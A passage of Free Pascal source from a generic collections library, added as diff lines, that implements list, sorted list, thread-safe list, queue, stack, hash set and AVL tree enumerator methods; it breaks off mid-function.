+ +procedure TList<T>.AddRange(const AEnumerable: IEnumerable<T>); +var + LValue: T; +begin + for LValue in AEnumerable do + Add(LValue); +end; + +procedure TList<T>.AddRange(AEnumerable: TEnumerable<T>); +var + LValue: T; +begin + for LValue in AEnumerable do + Add(LValue); +end; + +{$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} +procedure TList<T>.AddRange(AEnumerable: TEnumerableWithPointers<T>); +var + LValue: PT; +begin + for LValue in AEnumerable.Ptr^ do + Add(LValue^); +end; +{$ENDIF} + +procedure TList<T>.InternalInsert(AIndex: SizeInt; constref AValue: T); +begin + if AIndex <> PrepareAddingItem then + begin + System.Move(FItems[AIndex], FItems[AIndex + 1], ((Count - AIndex) - 1) * SizeOf(T)); + FillChar(FItems[AIndex], SizeOf(T), 0); + end; + + FItems[AIndex] := AValue; + Notify(AValue, cnAdded); +end; + +procedure TList<T>.Insert(AIndex: SizeInt; constref AValue: T); +begin + if (AIndex < 0) or (AIndex > Count) then + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + + InternalInsert(AIndex, AValue); +end; + +procedure TList<T>.InsertRange(AIndex: SizeInt; constref AValues: array of T); +var + i: SizeInt; + LLength: SizeInt; + LValue: ^T; +begin + if (AIndex < 0) or (AIndex > Count) then + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + + LLength := Length(AValues); + if LLength = 0 then + Exit; + + if AIndex <> PrepareAddingRange(LLength) then + begin + System.Move(FItems[AIndex], FItems[AIndex + LLength], ((Count - AIndex) - LLength) * SizeOf(T)); + FillChar(FItems[AIndex], SizeOf(T) * LLength, 0); + end; + + LValue := @AValues[0]; + for i := AIndex to Pred(AIndex + LLength) do + begin + FItems[i] := LValue^; + Notify(LValue^, cnAdded); + Inc(LValue); + end; +end; + +procedure TList<T>.InsertRange(AIndex: SizeInt; const AEnumerable: IEnumerable<T>); +var + LValue: T; + i: SizeInt; +begin + if (AIndex < 0) or (AIndex > Count) then + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + + i := 0; + for LValue in AEnumerable do + begin + InternalInsert(Aindex + i, LValue); + Inc(i); + end; +end; + +procedure TList<T>.InsertRange(AIndex: SizeInt; const AEnumerable: TEnumerable<T>); +var + LValue: T; + i: SizeInt; +begin + if (AIndex < 0) or (AIndex > Count) then + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + + i := 0; + for LValue in AEnumerable do + begin + InternalInsert(Aindex + i, LValue); + Inc(i); + end; +end; + +{$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} +procedure TList<T>.InsertRange(AIndex: SizeInt; const AEnumerable: TEnumerableWithPointers<T>); +var + LValue: PT; + i: SizeInt; +begin + if (AIndex < 0) or (AIndex > Count) then + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + + i := 0; + for LValue in AEnumerable.Ptr^ do + begin + InternalInsert(Aindex + i, LValue^); + Inc(i); + end; +end; +{$ENDIF} + +function TList<T>.Remove(constref AValue: T): SizeInt; +begin + Result := IndexOf(AValue); + if Result >= 0 then + DoRemove(Result, cnRemoved); +end; + +procedure TList<T>.Delete(AIndex: SizeInt); +begin + DoRemove(AIndex, cnRemoved); +end; + +procedure TList<T>.DeleteRange(AIndex, ACount: SizeInt); +var + LDeleted: array of T; + i: SizeInt; + LMoveDelta: SizeInt; +begin + if ACount = 0 then + Exit; + + if (ACount < 0) or (AIndex < 0) or (AIndex + ACount > Count) then + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + + SetLength(LDeleted, ACount); + System.Move(FItems[AIndex], LDeleted[0], ACount * SizeOf(T)); + + LMoveDelta := Count - (AIndex + ACount); + + if LMoveDelta = 0 then + FillChar(FItems[AIndex], ACount * SizeOf(T), #0) + else + begin + System.Move(FItems[AIndex + ACount], FItems[AIndex], LMoveDelta * SizeOf(T)); + FillChar(FItems[Count - ACount], ACount * SizeOf(T), #0); + end; + + Dec(FLength, ACount); + + for i := 0 to High(LDeleted) do + Notify(LDeleted[i], cnRemoved); +end; + +function TList<T>.ExtractIndex(const AIndex: SizeInt): T; +begin + Result := DoRemove(AIndex, cnExtracted); +end; + +function TList<T>.Extract(constref AValue: T): T; +var + LIndex: SizeInt; +begin + LIndex := IndexOf(AValue); + if LIndex < 0 then + Exit(Default(T)); + + Result := DoRemove(LIndex, cnExtracted); +end; + +procedure TList<T>.Exchange(AIndex1, AIndex2: SizeInt); +var + LTemp: T; +begin + LTemp := FItems[AIndex1]; + FItems[AIndex1] := FItems[AIndex2]; + FItems[AIndex2] := LTemp; +end; + +procedure TList<T>.Move(AIndex, ANewIndex: SizeInt); +var + LTemp: T; +begin + if ANewIndex = AIndex then + Exit; + + if (ANewIndex < 0) or (ANewIndex >= Count) then + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + + LTemp := FItems[AIndex]; + FItems[AIndex] := Default(T); + + if AIndex < ANewIndex then + System.Move(FItems[Succ(AIndex)], FItems[AIndex], (ANewIndex - AIndex) * SizeOf(T)) + else + System.Move(FItems[ANewIndex], FItems[Succ(ANewIndex)], (AIndex - ANewIndex) * SizeOf(T)); + + FillChar(FItems[ANewIndex], SizeOf(T), #0); + FItems[ANewIndex] := LTemp; +end; + +function TList<T>.First: T; +begin + Result := Items[0]; +end; + +function TList<T>.Last: T; +begin + Result := Items[Pred(Count)]; +end; + +procedure TList<T>.Clear; +begin + SetCount(0); + SetCapacity(0); +end; + +procedure TList<T>.TrimExcess; +begin + SetCapacity(Count); +end; + +function TList<T>.Contains(constref AValue: T): Boolean; +begin + Result := IndexOf(AValue) >= 0; +end; + +function TList<T>.IndexOf(constref AValue: T): SizeInt; +var + i: SizeInt; +begin + for i := 0 to Count - 1 do + if FComparer.Compare(AValue, FItems[i]) = 0 then + Exit(i); + Result := -1; +end; + +function TList<T>.LastIndexOf(constref AValue: T): SizeInt; +var + i: SizeInt; +begin + for i := Count - 1 downto 0 do + if FComparer.Compare(AValue, FItems[i]) = 0 then + Exit(i); + Result := -1; +end; + +procedure TList<T>.Reverse; +var + a, b: SizeInt; + LTemp: T; +begin + a := 0; + b := Count - 1; + while a < b do + begin + LTemp := FItems[a]; + FItems[a] := FItems[b]; + FItems[b] := LTemp; + Inc(a); + Dec(b); + end; +end; + +procedure TList<T>.Sort; +begin + TArrayHelperBugHack.Sort(FItems, FComparer, 0, Count); +end; + +procedure TList<T>.Sort(const AComparer: IComparer<T>); +begin + TArrayHelperBugHack.Sort(FItems, AComparer, 0, Count); +end; + +function TList<T>.BinarySearch(constref AItem: T; out AIndex: SizeInt): Boolean; +begin + Result := TArrayHelperBugHack.BinarySearch(FItems, AItem, AIndex, FComparer, 0, Count); +end; + +function TList<T>.BinarySearch(constref AItem: T; out AIndex: SizeInt; const AComparer: IComparer<T>): Boolean; +begin + Result := TArrayHelperBugHack.BinarySearch(FItems, AItem, AIndex, AComparer, 0, Count); +end; + +{ TSortedList<T> } + +procedure TSortedList<T>.InitializeList; +begin + FSortStyle := cssAuto; +end; + +function TSortedList<T>.Add(constref AValue: T): SizeInt; +var + LSearchResult: TBinarySearchResult; +begin + if SortStyle <> cssAuto then + Exit(inherited Add(AValue)); + if TArrayHelperBugHack.BinarySearch(FItems, AValue, LSearchResult, FComparer, 0, Count) then + case FDuplicates of + dupAccept: Result := LSearchResult.FoundIndex; + dupIgnore: Exit(LSearchResult.FoundIndex); + dupError: raise EListError.Create(SCollectionDuplicate); + end + else + begin + if LSearchResult.CandidateIndex = -1 then + Result := 0 + else + if LSearchResult.CompareResult > 0 then + Result := LSearchResult.CandidateIndex + else + Result := LSearchResult.CandidateIndex + 1; + end; + + InternalInsert(Result, AValue); +end; + +procedure TSortedList<T>.Insert(AIndex: SizeInt; constref AValue: T); +begin + if FSortStyle = cssAuto then + raise EListError.Create(SSortedListError) + else + inherited; +end; + +procedure TSortedList<T>.Exchange(AIndex1, AIndex2: SizeInt); +begin + if FSortStyle = cssAuto then + raise EListError.Create(SSortedListError) + else + inherited; +end; + +procedure TSortedList<T>.Move(AIndex, ANewIndex: SizeInt); +begin + if FSortStyle = cssAuto then + raise EListError.Create(SSortedListError) + else + inherited; +end; + +procedure TSortedList<T>.AddRange(constref AValues: array of T); +var + i: T; +begin + for i in AValues do + Add(i); +end; + +procedure TSortedList<T>.InsertRange(AIndex: SizeInt; constref AValues: array of T); +var + LValue: T; + i: SizeInt; +begin + if (AIndex < 0) or (AIndex > Count) then + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + + i := 0; + for LValue in AValues do + begin + InternalInsert(AIndex + i, LValue); + Inc(i); + end; +end; + +function TSortedList<T>.GetSorted: boolean; +begin + Result := FSortStyle in [cssAuto, cssUser]; +end; + +procedure TSortedList<T>.SetSorted(AValue: boolean); +begin + if AValue then + SortStyle := cssAuto + else + SortStyle := cssNone; +end; + +procedure TSortedList<T>.SetSortStyle(AValue: TCollectionSortStyle); +begin + if FSortStyle = AValue then + Exit; + if AValue = cssAuto then + Sort; + FSortStyle := AValue; +end; + +function TSortedList<T>.ConsistencyCheck(ARaiseException: boolean = true): boolean; +var + i: Integer; + LCompare: SizeInt; +begin + if Sorted then + for i := 0 to Count-2 do + begin + LCompare := FComparer.Compare(FItems[i], FItems[i+1]); + if LCompare = 0 then + begin + if Duplicates <> dupAccept then + if ARaiseException then + raise EListError.Create(SCollectionDuplicate) + else + Exit(False) + end + else + if LCompare > 0 then + if ARaiseException then + raise EListError.Create(SCollectionInconsistency) + else + Exit(False) + end; + Result := True; +end; + +{ TThreadList<T> } + +constructor TThreadList<T>.Create; +begin + inherited Create; + FDuplicates:=dupIgnore; +{$ifdef FPC_HAS_FEATURE_THREADING} + InitCriticalSection(FLock); +{$endif} + FList := TList<T>.Create; +end; + +destructor TThreadList<T>.Destroy; +begin + LockList; + try + FList.Free; + inherited Destroy; + finally + UnlockList; +{$ifdef FPC_HAS_FEATURE_THREADING} + DoneCriticalSection(FLock); +{$endif} + end; +end; + +procedure TThreadList<T>.Add(constref AValue: T); +begin + LockList; + try + if (Duplicates = dupAccept) or (FList.IndexOf(AValue) = -1) then + FList.Add(AValue) + else if Duplicates = dupError then + raise EArgumentException.CreateRes(@SDuplicatesNotAllowed); + finally + UnlockList; + end; +end; + +procedure TThreadList<T>.Remove(constref AValue: T); +begin + LockList; + try + FList.Remove(AValue); + finally + UnlockList; + end; +end; + +procedure TThreadList<T>.Clear; +begin + LockList; + try + FList.Clear; + finally + UnlockList; + end; +end; + +function TThreadList<T>.LockList: TList<T>; +begin + Result:=FList; +{$ifdef FPC_HAS_FEATURE_THREADING} + System.EnterCriticalSection(FLock); +{$endif} +end; + +procedure TThreadList<T>.UnlockList; +begin +{$ifdef FPC_HAS_FEATURE_THREADING} + System.LeaveCriticalSection(FLock); +{$endif} +end; + +{ TQueue<T>.TPointersEnumerator } + +function TQueue<T>.TPointersEnumerator.DoMoveNext: boolean; +begin + Inc(FIndex); + Result := (FQueue.FLength <> 0) and (FIndex < FQueue.FLength) +end; + +function TQueue<T>.TPointersEnumerator.DoGetCurrent: PT; +begin + Result := @FQueue.FItems[FIndex]; +end; + +constructor TQueue<T>.TPointersEnumerator.Create(AQueue: TQueue<T>); +begin + inherited Create; + FIndex := Pred(AQueue.FLow); + FQueue := AQueue; +end; + +{ TQueue<T>.TEnumerator } + +constructor TQueue<T>.TEnumerator.Create(AQueue: TQueue<T>); +begin + inherited Create(AQueue); + + FIndex := Pred(AQueue.FLow); +end; + +{ TQueue<T> } + +function TQueue<T>.GetPtrEnumerator: TEnumerator<PT>; +begin + Result := TPointersenumerator.Create(Self); +end; + +function TQueue<T>.GetEnumerator: TEnumerator; +begin + Result := TEnumerator.Create(Self); +end; + +function TQueue<T>.DoGetEnumerator: {Generics.Collections.}TEnumerator<T>; +begin + Result := GetEnumerator; +end; + +function TQueue<T>.DoRemove(AIndex: SizeInt; ACollectionNotification: TCollectionNotification): T; +begin + Result := FItems[AIndex]; + FItems[AIndex] := Default(T); + Inc(FLow); + if FLow = FLength then + begin + FLow := 0; + FLength := 0; + end; + Notify(Result, ACollectionNotification); +end; + +procedure TQueue<T>.SetCapacity(AValue: SizeInt); +begin + if AValue < Count then + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + + if AValue = FLength then + Exit; + + if (Count > 0) and (FLow > 0) then + begin + Move(FItems[FLow], FItems[0], Count * SizeOf(T)); + FillChar(FItems[Count], (FLength - Count) * SizeOf(T), #0); + end; + + SetLength(FItems, AValue); + FLength := Count; + FLow := 0; +end; + +function TQueue<T>.GetCount: SizeInt; +begin + Result := FLength - FLow; +end; + +constructor TQueue<T>.Create(ACollection: TEnumerable<T>); +var + LItem: T; +begin + for LItem in ACollection do + Enqueue(LItem); +end; + +{$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} +constructor TQueue<T>.Create(ACollection: TEnumerableWithPointers<T>); +var + LItem: PT; +begin + for LItem in ACollection.Ptr^ do + Enqueue(LItem^); +end; +{$ENDIF} + +destructor TQueue<T>.Destroy; +begin + Clear; +end; + +procedure TQueue<T>.Enqueue(constref AValue: T); +var + LIndex: SizeInt; +begin + LIndex := PrepareAddingItem; + FItems[LIndex] := AValue; + Notify(AValue, cnAdded); +end; + +function TQueue<T>.Dequeue: T; +begin + Result := DoRemove(FLow, cnRemoved); +end; + +function TQueue<T>.Extract: T; +begin + Result := DoRemove(FLow, cnExtracted); +end; + +function TQueue<T>.Peek: T; +begin + if (Count = 0) then + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + + Result := FItems[FLow]; +end; + +procedure TQueue<T>.Clear; +begin + while Count <> 0 do + Dequeue; + FLow := 0; + FLength := 0; +end; + +procedure TQueue<T>.TrimExcess; +begin + SetCapacity(Count); +end; + +{ TStack<T> } + +function TStack<T>.GetEnumerator: TEnumerator; +begin + Result := TEnumerator.Create(Self); +end; + +function TStack<T>.DoGetEnumerator: {Generics.Collections.}TEnumerator<T>; +begin + Result := GetEnumerator; +end; + +constructor TStack<T>.Create(ACollection: TEnumerable<T>); +var + LItem: T; +begin + for LItem in ACollection do + Push(LItem); +end; + +{$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} +constructor TStack<T>.Create(ACollection: TEnumerableWithPointers<T>); +var + LItem: PT; +begin + for LItem in ACollection.Ptr^ do + Push(LItem^); +end; +{$ENDIF} + +function TStack<T>.DoRemove(AIndex: SizeInt; ACollectionNotification: TCollectionNotification): T; +begin + if AIndex < 0 then + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + + Result := FItems[AIndex]; + FItems[AIndex] := Default(T); + Dec(FLength); + Notify(Result, ACollectionNotification); +end; + +destructor TStack<T>.Destroy; +begin + Clear; +end; + +procedure TStack<T>.Clear; +begin + while Count <> 0 do + Pop; +end; + +procedure TStack<T>.SetCapacity(AValue: SizeInt); +begin + if AValue < Count then + AValue := Count; + + SetLength(FItems, AValue); +end; + +procedure TStack<T>.Push(constref AValue: T); +var + LIndex: SizeInt; +begin + LIndex := PrepareAddingItem; + FItems[LIndex] := AValue; + Notify(AValue, cnAdded); +end; + +function TStack<T>.Pop: T; +begin + Result := DoRemove(FLength - 1, cnRemoved); +end; + +function TStack<T>.Peek: T; +begin + if (Count = 0) then + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + + Result := FItems[FLength - 1]; +end; + +function TStack<T>.Extract: T; +begin + Result := DoRemove(FLength - 1, cnExtracted); +end; + +procedure TStack<T>.TrimExcess; +begin + SetCapacity(Count); +end; + +{ TObjectList<T> } + +procedure TObjectList<T>.Notify(constref AValue: T; ACollectionNotification: TCollectionNotification); +begin + inherited Notify(AValue, ACollectionNotification); + + if FObjectsOwner and (ACollectionNotification = cnRemoved) then + TObject(AValue).Free; +end; + +constructor TObjectList<T>.Create(AOwnsObjects: Boolean); +begin + inherited Create; + + FObjectsOwner := AOwnsObjects; +end; + +constructor TObjectList<T>.Create(const AComparer: IComparer<T>; AOwnsObjects: Boolean); +begin + inherited Create(AComparer); + + FObjectsOwner := AOwnsObjects; +end; + +constructor TObjectList<T>.Create(ACollection: TEnumerable<T>; AOwnsObjects: Boolean); +begin + inherited Create(ACollection); + + FObjectsOwner := AOwnsObjects; +end; + +{$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} +constructor TObjectList<T>.Create(ACollection: TEnumerableWithPointers<T>; AOwnsObjects: Boolean); +begin + inherited Create(ACollection); + + FObjectsOwner := AOwnsObjects; +end; +{$ENDIF} + +{ TObjectQueue<T> } + +procedure TObjectQueue<T>.Notify(constref AValue: T; ACollectionNotification: TCollectionNotification); +begin + inherited Notify(AValue, ACollectionNotification); + if FObjectsOwner and (ACollectionNotification = cnRemoved) then + TObject(AValue).Free; +end; + +constructor TObjectQueue<T>.Create(AOwnsObjects: Boolean); +begin + inherited Create; + + FObjectsOwner := AOwnsObjects; +end; + +constructor TObjectQueue<T>.Create(ACollection: TEnumerable<T>; AOwnsObjects: Boolean); +begin + inherited Create(ACollection); + + FObjectsOwner := AOwnsObjects; +end; + +{$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} +constructor TObjectQueue<T>.Create(ACollection: TEnumerableWithPointers<T>; AOwnsObjects: Boolean); +begin + inherited Create(ACollection); + + FObjectsOwner := AOwnsObjects; +end; +{$ENDIF} + +procedure TObjectQueue<T>.Dequeue; +begin + inherited Dequeue; +end; + +{ TObjectStack<T> } + +procedure TObjectStack<T>.Notify(constref AValue: T; ACollectionNotification: TCollectionNotification); +begin + inherited Notify(AValue, ACollectionNotification); + if FObjectsOwner and (ACollectionNotification = cnRemoved) then + TObject(AValue).Free; +end; + +constructor TObjectStack<T>.Create(AOwnsObjects: Boolean); +begin + inherited Create; + + FObjectsOwner := AOwnsObjects; +end; + +constructor TObjectStack<T>.Create(ACollection: TEnumerable<T>; AOwnsObjects: Boolean); +begin + inherited Create(ACollection); + + FObjectsOwner := AOwnsObjects; +end; + +{$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} +constructor TObjectStack<T>.Create(ACollection: TEnumerableWithPointers<T>; AOwnsObjects: Boolean); +begin + inherited Create(ACollection); + + FObjectsOwner := AOwnsObjects; +end; +{$ENDIF} + +function TObjectStack<T>.Pop: T; +begin + Result := inherited Pop; +end; + +{$I inc\generics.dictionaries.inc} + +{ TCustomSet<T>.TCustomSetEnumerator } + +function TCustomSet<T>.TCustomSetEnumerator.DoMoveNext: boolean; +begin + Result := FEnumerator.DoMoveNext; +end; + +function TCustomSet<T>.TCustomSetEnumerator.DoGetCurrent: T; +begin + Result := FEnumerator.DoGetCurrent; +end; + +destructor TCustomSet<T>.TCustomSetEnumerator.Destroy; +begin + FEnumerator.Free; +end; + +{ TCustomSet<T> } + +function TCustomSet<T>.DoGetEnumerator: Generics.Collections.TEnumerator<T>; +begin + Result := GetEnumerator; +end; + +constructor TCustomSet<T>.Create(ACollection: TEnumerable<T>); +var + i: T; +begin + Create; + for i in ACollection do + Add(i); +end; + +{$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} +constructor TCustomSet<T>.Create(ACollection: TEnumerableWithPointers<T>); +var + i: PT; +begin + Create; + for i in ACollection.Ptr^ do + Add(i^); +end; +{$ENDIF} + +function TCustomSet<T>.AddRange(constref AValues: array of T): Boolean; +var + i: T; +begin + Result := True; + for i in AValues do + Result := Add(i) and Result; +end; + +function TCustomSet<T>.AddRange(const AEnumerable: IEnumerable<T>): Boolean; +var + i: T; +begin + Result := True; + for i in AEnumerable do + Result := Add(i) and Result; +end; + +function TCustomSet<T>.AddRange(AEnumerable: TEnumerable<T>): Boolean; +var + i: T; +begin + Result := True; + for i in AEnumerable do + Result := Add(i) and Result; +end; + +{$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} +function TCustomSet<T>.AddRange(AEnumerable: TEnumerableWithPointers<T>): Boolean; +var + i: PT; +begin + Result := True; + for i in AEnumerable.Ptr^ do + Result := Add(i^) and Result; +end; +{$ENDIF} + +procedure TCustomSet<T>.UnionWith(AHashSet: TCustomSet<T>); +var + i: PT; +begin + for i in AHashSet.Ptr^ do + Add(i^); +end; + +procedure TCustomSet<T>.IntersectWith(AHashSet: TCustomSet<T>); +var + LList: TList<PT>; + i: PT; +begin + LList := TList<PT>.Create; + + for i in Ptr^ do + if not AHashSet.Contains(i^) then + LList.Add(i); + + for i in LList do + Remove(i^); + + LList.Free; +end; + +procedure TCustomSet<T>.ExceptWith(AHashSet: TCustomSet<T>); +var + i: PT; +begin + for i in AHashSet.Ptr^ do + Remove(i^); +end; + +procedure TCustomSet<T>.SymmetricExceptWith(AHashSet: TCustomSet<T>); +var + LList: TList<PT>; + i: PT; +begin + LList := TList<PT>.Create; + + for i in AHashSet.Ptr^ do + if Contains(i^) then + LList.Add(i) + else + Add(i^); + + for i in LList do + Remove(i^); + + LList.Free; +end; + +{ THashSet<T>.THashSetEnumerator } + +function THashSet<T>.THashSetEnumerator.GetCurrent: T; +begin + Result := TDictionaryEnumerator(FEnumerator).GetCurrent; +end; + +constructor THashSet<T>.THashSetEnumerator.Create(ASet: TCustomSet<T>); +begin + TDictionaryEnumerator(FEnumerator) := THashSet<T>(ASet).FInternalDictionary.Keys.DoGetEnumerator; +end; + +{ THashSet<T>.TPointersEnumerator } + +function THashSet<T>.TPointersEnumerator.DoMoveNext: boolean; +begin + Result := FEnumerator.MoveNext; +end; + +function THashSet<T>.TPointersEnumerator.DoGetCurrent: PT; +begin + Result := FEnumerator.Current; +end; + +constructor THashSet<T>.TPointersEnumerator.Create(AHashSet: THashSet<T>); +begin + FEnumerator := AHashSet.FInternalDictionary.Keys.Ptr^.GetEnumerator; +end; + +{ THashSet<T> } + +procedure THashSet<T>.InternalDictionaryNotify(ASender: TObject; constref AItem: T; AAction: TCollectionNotification); +begin + FOnNotify(Self, AItem, AAction); +end; + +function THashSet<T>.GetPtrEnumerator: TEnumerator<PT>; +begin + Result := TPointersEnumerator.Create(Self); +end; + +function THashSet<T>.GetCount: SizeInt; +begin + Result := FInternalDictionary.Count; +end; + +function THashSet<T>.GetCapacity: SizeInt; +begin + Result := FInternalDictionary.Capacity; +end; + +procedure THashSet<T>.SetCapacity(AValue: SizeInt); +begin + FInternalDictionary.Capacity := AValue; +end; + +function THashSet<T>.GetOnNotify: TCollectionNotifyEvent<T>; +begin + Result := FInternalDictionary.OnKeyNotify; +end; + +procedure THashSet<T>.SetOnNotify(AValue: TCollectionNotifyEvent<T>); +begin + FOnNotify := AValue; + if Assigned(AValue) then + FInternalDictionary.OnKeyNotify := InternalDictionaryNotify + else + FInternalDictionary.OnKeyNotify := nil; +end; + +function THashSet<T>.GetEnumerator: TCustomSetEnumerator; +begin + Result := THashSetEnumerator.Create(Self); +end; + +constructor THashSet<T>.Create; +begin + FInternalDictionary := TOpenAddressingLP<T, TEmptyRecord>.Create; +end; + +constructor THashSet<T>.Create(const AComparer: IEqualityComparer<T>); +begin + FInternalDictionary := TOpenAddressingLP<T, TEmptyRecord>.Create(AComparer); +end; + +destructor THashSet<T>.Destroy; +begin + FInternalDictionary.Free; +end; + +function THashSet<T>.Add(constref AValue: T): Boolean; +begin + Result := not FInternalDictionary.ContainsKey(AValue); + if Result then + FInternalDictionary.Add(AValue, EmptyRecord); +end; + +function THashSet<T>.Remove(constref AValue: T): Boolean; +var + LIndex: SizeInt; +begin + LIndex := FInternalDictionary.FindBucketIndex(AValue); + Result := LIndex >= 0; + if Result then + FInternalDictionary.DoRemove(LIndex, cnRemoved); +end; + +function THashSet<T>.Extract(constref AValue: T): T; +var + LIndex: SizeInt; +begin + LIndex := FInternalDictionary.FindBucketIndex(AValue); + if LIndex < 0 then + Exit(Default(T)); + + Result := AValue; + FInternalDictionary.DoRemove(LIndex, cnExtracted); +end; + +procedure THashSet<T>.Clear; +begin + FInternalDictionary.Clear; +end; + +function THashSet<T>.Contains(constref AValue: T): Boolean; +begin + Result := FInternalDictionary.ContainsKey(AValue); +end; + +procedure THashSet<T>.TrimExcess; +begin + FInternalDictionary.TrimExcess; +end; + +{ TAVLTreeNode<TREE_CONSTRAINTS, TTree> } + +function TAVLTreeNode<TREE_CONSTRAINTS, TTree>.Successor: PNode; +begin + Result:=Right; + if Result<>nil then begin + while (Result.Left<>nil) do Result:=Result.Left; + end else begin + Result:=@Self; + while (Result.Parent<>nil) and (Result.Parent.Right=Result) do + Result:=Result.Parent; + Result:=Result.Parent; + end; +end; + +function TAVLTreeNode<TREE_CONSTRAINTS, TTree>.Precessor: PNode; +begin + Result:=Left; + if Result<>nil then begin + while (Result.Right<>nil) do Result:=Result.Right; + end else begin + Result:=@Self; + while (Result.Parent<>nil) and (Result.Parent.Left=Result) do + Result:=Result.Parent; + Result:=Result.Parent; + end; +end; + +function TAVLTreeNode<TREE_CONSTRAINTS, TTree>.TreeDepth: integer; +// longest WAY down. e.g. only one node => 0 ! +var LeftDepth, RightDepth: integer; +begin + if Left<>nil then + LeftDepth:=Left.TreeDepth+1 + else + LeftDepth:=0; + if Right<>nil then + RightDepth:=Right.TreeDepth+1 + else + RightDepth:=0; + if LeftDepth>RightDepth then + Result:=LeftDepth + else + Result:=RightDepth; +end; + +procedure TAVLTreeNode<TREE_CONSTRAINTS, TTree>.ConsistencyCheck(ATree: TObject); +var + LTree: TTree absolute ATree; + LeftDepth: SizeInt; + RightDepth: SizeInt; +begin + // test left child + if Left<>nil then begin + if Left.Parent<>@Self then + raise EAVLTree.Create('Left.Parent<>Self'); + if LTree.Compare(Left.Data.Key,Data.Key)>0 then + raise EAVLTree.Create('Compare(Left.Data,Data)>0'); + Left.ConsistencyCheck(LTree); + end; + // test right child + if Right<>nil then begin + if Right.Parent<>@Self then + raise EAVLTree.Create('Right.Parent<>Self'); + if LTree.Compare(Data.Key,Right.Data.Key)>0 then + raise EAVLTree.Create('Compare(Data,Right.Data)>0'); + Right.ConsistencyCheck(LTree); + end; + // test balance + if Left<>nil then + LeftDepth:=Left.TreeDepth+1 + else + LeftDepth:=0; + if Right<>nil then + RightDepth:=Right.TreeDepth+1 + else + RightDepth:=0; + if Balance<>(LeftDepth-RightDepth) then + raise EAVLTree.CreateFmt('Balance[%d]<>(RightDepth[%d]-LeftDepth[%d])', [Balance, RightDepth, LeftDepth]); +end; + +function TAVLTreeNode<TREE_CONSTRAINTS, TTree>.GetCount: SizeInt; +begin + Result:=1; + if Assigned(Left) then Inc(Result,Left.GetCount); + if Assigned(Right) then Inc(Result,Right.GetCount); +end; + +{ TCustomTreeEnumerator<T, PNode, TTree> } + +function TCustomTreeEnumerator<T, PNode, TTree>.DoGetCurrent: T; +begin + Result := GetCurrent; +end; + +constructor TCustomTreeEnumerator<T, PNode, TTree>.Create(ATree: TObject); +begin + TObject(FTree) := ATree; +end; + +{ TTreeEnumerable<TTreeEnumerator, TTreePointersEnumerator, T, PT, TREE_CONSTRAINTS> } + +function TTreeEnumerable<TTreeEnumerator, TTreePointersEnumerator, T, PT, PNode, TTree>.GetCount: SizeInt; +begin + Result := FTree.Count; +end; + +function TTreeEnumerable<TTreeEnumerator, TTreePointersEnumerator, T, PT, PNode, TTree>.GetPtrEnumerator: TEnumerator<PT>; +begin + Result := TTreePointersEnumerator.Create(FTree); +end; + +constructor TTreeEnumerable<TTreeEnumerator, TTreePointersEnumerator, T, PT, PNode, TTree>.Create( + ATree: TTree); +begin + FTree := ATree; +end; + +function TTreeEnumerable<TTreeEnumerator, TTreePointersEnumerator, T, PT, PNode, TTree>. + DoGetEnumerator: TTreeEnumerator; +begin + Result := TTreeEnumerator.Create(FTree); +end; + +function TTreeEnumerable<TTreeEnumerator, TTreePointersEnumerator, T, PT, PNode, TTree>.ToArray: TArray<T>; +begin + Result := ToArrayImpl(FTree.Count); +end; + +{ TAVLTreeEnumerator<T, PNode, TTree> } + +function TAVLTreeEnumerator<T, PNode, TTree>.DoMoveNext: Boolean; +begin + if FLowToHigh then begin + if FCurrent<>nil then + FCurrent:=FCurrent.Successor + else + FCurrent:=FTree.FindLowest; + end else begin + if FCurrent<>nil then + FCurrent:=FCurrent.Precessor + else + FCurrent:=FTree.FindHighest; + end; + Result:=FCurrent<>nil; +end; + +constructor TAVLTreeEnumerator<T, PNode, TTree>.Create(ATree: TObject; ALowToHigh: boolean); +begin + inherited Create(ATree); + FLowToHigh:=aLowToHigh; +end; + +{ TCustomAVLTreeMap<TREE_CONSTRAINTS>.TPairEnumerator } + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.TPairEnumerator.GetCurrent: TTreePair; +begin + Result := TTreePair((@FCurrent.Data)^); +end; + +{ TCustomAVLTreeMap<TREE_CONSTRAINTS>.TNodeEnumerator } + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.TNodeEnumerator.GetCurrent: PNode; +begin + Result := FCurrent; +end; + +{ TCustomAVLTreeMap<TREE_CONSTRAINTS>.TKeyEnumerator } + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.TKeyEnumerator.GetCurrent: TKey; +begin + Result := FCurrent.Key; +end; + +{ TCustomAVLTreeMap<TREE_CONSTRAINTS>.TPKeyEnumerator } + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.TPKeyEnumerator.GetCurrent: PKey; +begin + Result := @FCurrent.Data.Key; +end; + +{ TCustomAVLTreeMap<TREE_CONSTRAINTS>.TValueEnumerator } + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.TValueEnumerator.GetCurrent: TValue; +begin + Result := FCurrent.Value; +end; + +{ TCustomAVLTreeMap<TREE_CONSTRAINTS>.TValueEnumerator } + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.TPValueEnumerator.GetCurrent: PValue; +begin + Result := 